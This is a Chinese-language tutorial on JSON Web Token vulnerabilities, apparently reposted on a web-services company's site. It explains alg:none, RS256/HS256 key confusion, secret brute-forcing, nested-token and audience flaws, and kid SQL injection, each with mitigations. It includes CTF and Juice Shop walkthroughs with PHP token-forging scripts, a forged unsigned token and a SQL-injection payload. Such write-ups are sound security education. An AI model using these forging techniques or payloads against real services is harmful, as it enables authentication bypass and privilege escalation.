本篇文章為大家展示了如何深入了解Json Web Token,內容簡明扼要并且容易理解,絕對能使你眼前一亮,通過這篇文章的詳細介紹希望你能有所收獲。
讓客戶滿意是我們工作的目標,不斷超越客戶的期望值來自于我們對這個行業(yè)的熱愛。我們立志把好的技術通過有效、簡單的方式提供給客戶,將通過不懈努力成為客戶在信息化領域值得信任、有價值的長期合作伙伴,公司提供的服務項目有:國際域名空間、網(wǎng)頁空間、營銷軟件、網(wǎng)站建設、延安網(wǎng)站維護、網(wǎng)站推廣。
本來想用python DRF 的 JWT做,后來各種失敗。最終嘗試了用Php,發(fā)現(xiàn)非常便利。
PHP 版本 PHP 7.2.4-1+b2 (cli),也就是kali linux自帶的php,至于composer的安裝方法,以及各個庫的使用方法在此不展開,需要的話可以自己查閱官方文檔
在jwt.io上有些php jwt的庫,在此說一下使用下來的感覺。只取了評分前三的庫:
firebase/php-jwt Star 3786
支持PHP5/7;
操作非常簡單,但是不具備很多功能,不是很推薦。
lcobucci/jwt Star Star 2729
支持PHP5/7;
不具備JWE的方法,操作簡單;
不具備多重JWS,JWE方法以及其對應序列化方法。
spomky-labs/jose Star 351
僅支持 PHP 7;
功能齊全,具有多重JWE,JWS,以及其對應序列化方法。以上兩個都不具備。
JWT 的攻擊手段包括以下內容:
參考網(wǎng)站:https://auth0.com/blog/critical-vulnerabilities-in-json-web-token-libraries//。
當服務端的秘鑰泄密的時候,JWT的偽造就變得非常簡單容易。對此,服務端應該妥善保管好私鑰,以免被他人竊取。
下文實戰(zhàn)中的 Juice Shop JWT issue 1 便是這個問題。之前談及過nonsecure JWT的問題。
簽名算法確保惡意用戶在傳輸過程中不會修改JWT。但是標題中的alg字段可以更改為none。一些JWT庫支持無算法,即沒有簽名算法。當alg為none時,后端將不執(zhí)行簽名驗證。將alg更改為none后,從JWT中刪除簽名數(shù)據(jù)(僅標題+'.'+ payload +'.')并將其提交給服務器。
解決對策:
不允許出現(xiàn) none 的方法;
將開啟 alg : none 作為一種額外的配置選項。
HS256使用密鑰來簽名和驗證每個消息。而RS256使用私鑰對消息進行簽名并使用公鑰進行認證。
如果將算法從RS256更改為HS256,則后端代碼使用公鑰作為密鑰,然后使用HS256算法驗證簽名。由于攻擊者有時可以獲取公鑰,因此攻擊者可以將標頭中的算法修改為HS256,然后使用RSA公鑰對數(shù)據(jù)進行簽名。
此時,后端代碼就會使用RSA公鑰+HS256算法進行簽名驗證,從而讓驗證通過。
解決對策:
不允許 HS256等對稱加密 算法讀取秘鑰。jwtpy就是限制了這種方法。當讀取到 類似于 "--- xxx key ---" 的參數(shù)的時候應拋出錯誤;
將秘鑰與驗證算法相互匹配。
如果HS256密鑰強度較弱,則可以直接強制使用,通過爆破 HS256的秘鑰可以完成該操作。難度比較低。解決對策很簡單,使用復雜的秘鑰即可。
錯誤的堆疊加密
這種攻擊發(fā)生在單個的或者嵌套的JWE中,我們想象一個JWE如下所示:
JWT RAW header : ... payload: "admin" : false "uid" : 123 "umail" : 123@126.com ... JWE Main protected / unprotected recipients: en_key : key1 en_key : key2 cipher : xxx
在攻擊者不修改秘鑰的情況下,對于ciphertext進行修改。往往會導致解密的失敗。但是,即使是失敗,很多JWT的解密也是會有輸出的,在沒有附加認證數(shù)據(jù)(ADD)的情況下更是如此。攻擊者對于ciphertext的內容進行修改,可能會讓其他的數(shù)據(jù)無法解密,但是只要最后輸出的payload中,有“admin":true。 其目的就已經(jīng)達到了。
解決對策:
對于JWE而言,應當解密所有數(shù)據(jù),而非從解密的結果中提取單個需要的數(shù)據(jù)。另外,利用附加認證數(shù)據(jù)ADD,也是非常好的選擇。
簽名假設驗證
這種攻擊發(fā)生嵌套的JWS中。我們想象一個嵌套的JWS,其包括了兩層的部分,其結構如下:
JWT Main JWT Sub1 payload Signature2 Signature
現(xiàn)在,攻擊者通過一定的方式,能夠讓外層的驗證通過的時候,此時,系統(tǒng)還應該檢查內層的簽名數(shù)據(jù),如果不檢查,攻擊者就可以隨意篡改payload的數(shù)據(jù),來達到越權的目的。
解決對策:
因此對于嵌套JWS而言,應當驗證所有層面的簽名是否正確,而非驗證最外層的簽名是否正確就足夠。
橢圓曲線加密是一種非常安全的方式,甚至從某種程度上而言,比RSA更加安全。關于橢圓曲線的算法,在此不展開。
在橢圓曲線加密中,公鑰是橢圓曲線上的一個點,而私鑰只是一個位于特殊但非常大的范圍內的數(shù)字。 如果未驗證對這些操作的輸入,那攻擊者就可以進行設計,從而恢復私鑰。
而這種攻擊已在過去中得到證實。這類攻擊被稱為無效曲線攻擊。這種攻擊比較復雜,也設計到很多的數(shù)學知識。詳細可以參考文檔:critical-vulnerability-uncovered-in-json-encryption。
解決對策:
檢查傳遞給任何公共函數(shù)的所有輸入是否有效是解決這類攻擊的關鍵點。驗證內容包括公鑰是所選曲線的有效橢圓曲線點,以及私鑰位于有效值范圍內。
在這種攻擊中,攻擊者需要至少獲得兩種不同的JWT,然后攻擊者可以將令牌中的一個或者兩個用在其他的地方。
在JWT中,替換共嘰有兩種方式,我們稱他們?yōu)橄嗤邮辗焦簦缭绞絁WT)和不同接收方攻擊。
不同接收方攻擊
我們可以設想一個業(yè)務邏輯如下:
Auth 機構,有著自己的私鑰,并且給 App1 和 App2 發(fā)放了兩個公鑰,用于驗證簽名;
Attacker 利用自己的秘鑰登錄了 App1。
此時 Auth 機構給 Attacker 下發(fā)了一個 附帶簽名的JWT,其payload內容為:
{
'uname':'Attacker'
'role' :'admin'
}此時,如果 Attacker 知道 App1 和 App2 的公鑰是同一個Auth 簽發(fā)的話,他可以利用這個JWT去登錄 App2,從而獲取Admin權限。
解決方法:
在jwt中帶上 aud 聲明,比如 aud : App1 這樣。來限定該jwt只能用于App1。
相同接收方攻擊/跨越式JWT same recipient/Cross JWT
我們可以設想一個業(yè)務邏輯如下:
在同一站點下,有兩個應用程序,wordpress和phpmyadmin,他們都利用了相同的秘鑰對和算法來驗證JWT簽名;
站點管理員知道 Different Recipient 的問題,所以給 wordpress 的應用增加了 aud 驗證,但是 phpmyadmin 的用戶人數(shù)較少,沒有增加 aud 的驗證;
Attacker 利用自己的秘鑰登錄了 wordpress。
此時 站點 給 Attacker 下發(fā)了一個 附帶簽名的JWT,其payload內容為:
{
'uname':'Attacker'
'role' :'writer'
'aud' :'shaobaobaoer.cn/wordpress'
'iss' :'shaobaobaoer.cn'
}這個JWT看似非常安全,但這僅僅是對于 wordpress 的應用程序而言,。從而Attacker 可以以 writer 的身份登錄 phpmyadmin。
解決方案:
為所有子應用程序增加 aud 的驗證
JWT + SQL 注入
參考鏈接:https://github.com/greunion/ctf-write-ups/tree/master/2018-nullcon/web/400-web6。
當解密JWT的秘鑰很多的時候,往往需要通過kid來確定使用哪個秘鑰,而keyid參數(shù)通過b64加密來保存,可以被篡改。當keyid要通過數(shù)據(jù)庫API拿取得時候,往往就會聯(lián)想到sql 注入。
我們可以想象一下的攻擊情況:
$keyID = $token-> getKeyID();
$keyContent = sqlAPI -> fromKeyidGetKeyContent($keyID)
###
class sqlAPI():
function fromKeyidGetKeyContent($keyID){
$result= Query("select key_content from keyTable where key_id = '$keyID'");
return $result['key_content']
}
###
if($token-> verify($JWA,$keyContetn)){
echo $flag;
}在下列比較簡易的代碼中,通過讓數(shù)據(jù)庫返回值為我們自定義的key_content。就可以達到破解JWT的目的。
通過注入:
' union select 'easy' limit 1,1--+
即可讓秘鑰改成easy。
我搜到了一個demo,在線演示地址為:http://demo.sjoerdlangkemper.nl/jwtdemo/hs256.php。
GitHub地址為:https://github.com/Sjord/jwtdemo/。
使用firebase/jwt寫的php-jwt的demo。可以用來完成后面的題目。
為了達到修改jwt的目的,我會把data字段改為:
"data":{
"hacker":"shaobaobaoer"
}該題目地址為:http://demo.sjoerdlangkemper.nl/jwtdemo/rs256。
在知道github項目的情況下,我們變相知道了公鑰私鑰的地址,直接訪問:
http://demo.sjoerdlangkemper.nl/jwtdemo/private.pem http://demo.sjoerdlangkemper.nl/jwtdemo/public.pem
可以拿到公鑰私鑰的內容,之后,利用我們自己的jwt庫進行加密即可。
關鍵代碼如下所示:
$keychain = new Keychain();
$sign = new Sha256();
$token = "eyJ0eXAiO...";
$token = (new Parser())->parse((string) $token);
$hacktoken = (new Builder())
->setIssuer($token->getClaim('iss'))
->setIssuedAt($token->getClaim('iat'))
->setExpiration($token->getClaim('exp'))
->set("data",["hack"=>"shaobaobaoer"])
->sign($sign,$keychain->getPrivateKey('file://key_box/private.pem'))
->getToken();
echo $hacktoken.PHP_EOL;
var_dump($hacktoken->verify($sign,$keychain->getPublicKey('file://key_box/public.pem')));可以看到,我們已經(jīng)更改成功。

juice shop 是一個OWASP 的 vulnerable WEB 項目,后端語言為node.js。
當初我做的時候連jwt是什么都不知道,兩道jwt的題目就此跳過了,現(xiàn)在已經(jīng)掌握了這些概念,就可以拿出來回味一下。
關于juice shop 的大部分題解可以看OWASP juice shop 實戰(zhàn)報告。
題目描述
Forge an essentially unsigned JWT token that impersonates the (non-existing) user jwtn3d@juice-sh.op.
實戰(zhàn)過程
首先,先用萬能登錄,獲取到jwt 如下所示:
eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdGF0dXMiOiJzdWNjZXNzIiwiZGF0YSI6eyJpZCI6MSwiZW1haWwiOiJhZG1pbkBqdWljZS1zaC5vcCIsInBhc3N3b3JkIjoiMDE5MjAyM2E3YmJkNzMyNTA1MTZmMDY5ZGYxOGI1MDAiLCJjcmVhdGVkQXQiOiIyMDE4LTA4LTEyIDA3OjUzOjM4LjA2NCArMDA6MDAiLCJ1cGRhdGVkQXQiOiIyMDE4LTA4LTEyIDA3OjUzOjM4LjA2NCArMDA6MDAifSwiaWF0IjoxNTM0MDYwNTM5LCJleHAiOjE1MzQwNzg1Mzl9.Jivk7Pil6wukFkShzCCaHNq7qmxegvcyD83FkbglT0uYYP0azTW2rM-FH4R8WYneTu1A5gQmUjB6VdFJh8APz5Qej_AA4RP3Q6nH-9qbytxQ5cebiEuuhRSridDxbXxuS0-oquQ0PkRtpenJ75mLJFzVROeaBWgKFNNcFIrV9hs
放到 jwt.io中去解密。可以看到數(shù)據(jù)的架構如下所示:

之前我們做過實驗,當alg選擇為 none 的時候,是不用對JWT進行簽名的,這樣的jwt也被稱為 不安全的jwt。
這道題目的思路就是修改 alg。
當后端不限定alg的時候,這種方法就可以被利用。當然jwt.io是不會讓你把alg改成none的。你需要自己手動改:

對頭部稍微操作一下,得到的新token如下:
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdGF0dXMiOiJzdWNjZXNzIiwiZGF0YSI6eyJpZCI6MSwiZW1haWwiOiJqd3RuM2RAanVpY2Utc2gub3AiLCJwYXNzd29yZCI6IjAxOTIwMjNhN2JiZDczMjUwNTE2ZjA2OWRmMThiNTAwIiwiY3JlYXRlZEF0IjoiMjAxOC0wOC0xMiAwNzo1MzozOC4wNjQgKzAwOjAwIiwidXBkYXRlZEF0IjoiMjAxOC0wOC0xMiAwNzo1MzozOC4wNjQgKzAwOjAwIn0sImlhdCI6MTUzNDA2MDUzOSwiZXhwIjoxNTM0MDc4NTM5fQ
將新的jwt發(fā)送,可以解決這個題目:

后面還有個jwt issue 2 ,我分解不了公鑰,按照官方文檔的做法也無從下手。做出來的可以交流一二。
那個網(wǎng)站的后端代碼是不能夠演示加密方式修改的攻擊方法的。那篇博客有些問題。這邊就給出個樣例。
后端的偽代碼應該如下所示:
# sometimes called "decode"
verify(string token, string verificationKey){
# returns payload if valid token, else throws an error
}
string token = $input
string verificationKey = file_get_content('rsa_pub.key')后端代碼應該會判斷jwt的加密方式,其實這種方法是比較局限的。首先對于一個優(yōu)秀的JWT的庫而言,RS256和SH256的認證不會放在一起。另外,HMAC應當禁止公鑰作為secret。
例如:在pyjwt中,這種方法是被禁止的。會拋出錯誤。
jwt.exceptions.InvalidKeyError: The specified key is an asymmetric key or x509 certificate and should not be used as an HMAC secret.
大概寫了個小腳本,利用了公鑰來簽名,如下所示:
$secret = file_get_contents("./key_box/public.pem");
//var_dump($secret);
$sign = new Sha256();
$token = "eyJ0eXAiO...";
$token = (new Parser())->parse((string) $token);
$hacktoken = (new Builder())
->setIssuer($token->getClaim('iss'))
->setIssuedAt($token->getClaim('iat'))
->setExpiration($token->getClaim('exp'))
->set("data",["hack"=>"shaobaobaoer"])
->sign($sign,$secret)
->getToken();
echo $hacktoken.PHP_EOL;
var_dump($hacktoken->verify($sign,$secret));參考鏈接:https://delcoding.github.io/2018/03/jwt-bypass/。
在這道題目中,訪問web,可以返回一個jwt的字符串:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhZG1pbiI6ImZhbHNlIn0.oe4qhTxvJB8nNAsFWJc7_m3UylVZzO3FwhkYuESAyUM
將它解密,可以發(fā)現(xiàn),算法是HS256,admin為flase。
{
"alg": "HS256",
"typ": "JWT"
}
{
"admin": "false"
}我們的目標很簡單,只需要將admin轉成true就可以了。而此刻能夠做的只有爆破秘鑰了。你當然可以寫一個小腳本來爆破秘鑰,這里推薦一個工具c-jwt cracker。
通過小工具,我們能迅速跑出秘鑰來,我的vps大概用了2m跑出了秘鑰 54l7y。

提交JWT即可得到flag。
上述內容就是如何深入了解Json Web Token,你們學到知識或技能了嗎?如果還想學到更多技能或者豐富自己的知識儲備,歡迎關注創(chuàng)新互聯(lián)行業(yè)資訊頻道。
文章標題:如何深入了解JsonWebToken
網(wǎng)站鏈接:http://chinadenli.net/article8/jgpcop.html
成都網(wǎng)站建設公司_創(chuàng)新互聯(lián),為您提供虛擬主機、網(wǎng)頁設計公司、企業(yè)建站、網(wǎng)站維護、網(wǎng)站制作、微信公眾號
聲明:本網(wǎng)站發(fā)布的內容(圖片、視頻和文字)以用戶投稿、用戶轉載內容為主,如果涉及侵權請盡快告知,我們將會在第一時間刪除。文章觀點不代表本網(wǎng)站立場,如需處理請聯(lián)系客服。電話:028-86922220;郵箱:631063699@qq.com。內容未經(jīng)允許不得轉載,或轉載時需注明來源: 創(chuàng)新互聯(lián)